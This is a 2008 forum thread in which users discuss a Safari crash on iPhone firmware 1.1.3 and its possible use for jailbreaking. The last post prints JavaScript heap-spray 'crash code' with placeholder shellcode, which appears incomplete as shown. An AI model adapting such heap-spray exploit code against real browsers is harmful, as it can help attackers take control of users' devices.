New Safari Exploit (1.1.3)

**itsnogood71** · 02-07-2008 05:03 PM

Anyone saw this:

http://www.iphoneworld.ca/news/2008/...le-ipod-touch/

I tested it with my own webserver and it crashes my iphone.

**visions** · 02-07-2008 05:21 PM

did your iphone recover normally again?

nice exploit

**itsnogood71** · 02-07-2008 05:23 PM

Yes.

It freeze up and reboot after some time to a normal state.
My Phone is at 1.1.3

**visions** · 02-07-2008 05:25 PM

rock on...

thanks for the news

ok thread closed...hehe

**itsnogood71** · 02-07-2008 05:29 PM

Anyone here who can explain me how jailbreakme.com or i.unlock.no works?

If so, i will bring up a website with the new exploit to jailbreak all versions include 1.1.3 via safari...

**Stewcp** · 02-07-2008 05:39 PM

Originally Posted by itsnogood71

Anyone here who can explain me how jailbreakme.com or i.unlock.no works?

If so, i will bring up a website with the new exploit to jailbreak all versions include 1.1.3 via safari...

I think theres a bit more too it

jailbreakme.com etc use the Tiff exploit which crashes Safari... have fun trying anyway

**Nuttynutter123** · 02-07-2008 06:02 PM

how come expolits that crash the phone can be so helpful?

Basically why is a crashed phone good for jailbreaking etc?

**rchik** · 02-07-2008 06:05 PM

because most crashes are caused by buffer overruns, and why does buffer overrun leads to getting control of the phone - is a long topic better be researched by typing "buffer overrun exploit article" in google

**tarque** · 02-07-2008 06:08 PM

Here is the crash code:

<html><body><script>

function Demo() {

var shellcode;

var addr;

var fill;

alert('attempting a crash!');

shellcode = unescape('ఌ');

fill = unescape('쳌');

addr = 0x02020202;

var b = fill;

while (b.length <= 0x40000) b+=b;

var c = new Array();

for (var i =0; i<36; i++) {

c[i] =

b.substring(0, 0x100000 - shellcode.length) + shellcode +

b.substring(0, 0x100000 - shellcode.length) + shellcode +

b.substring(0, 0x100000 - shellcode.length) + shellcode +

b.substring(0, 0x100000 - shellcode.length) + shellcode;

}

}

</script>

<input type='button' onClick='Demo()' value='Go!'>

</body></html>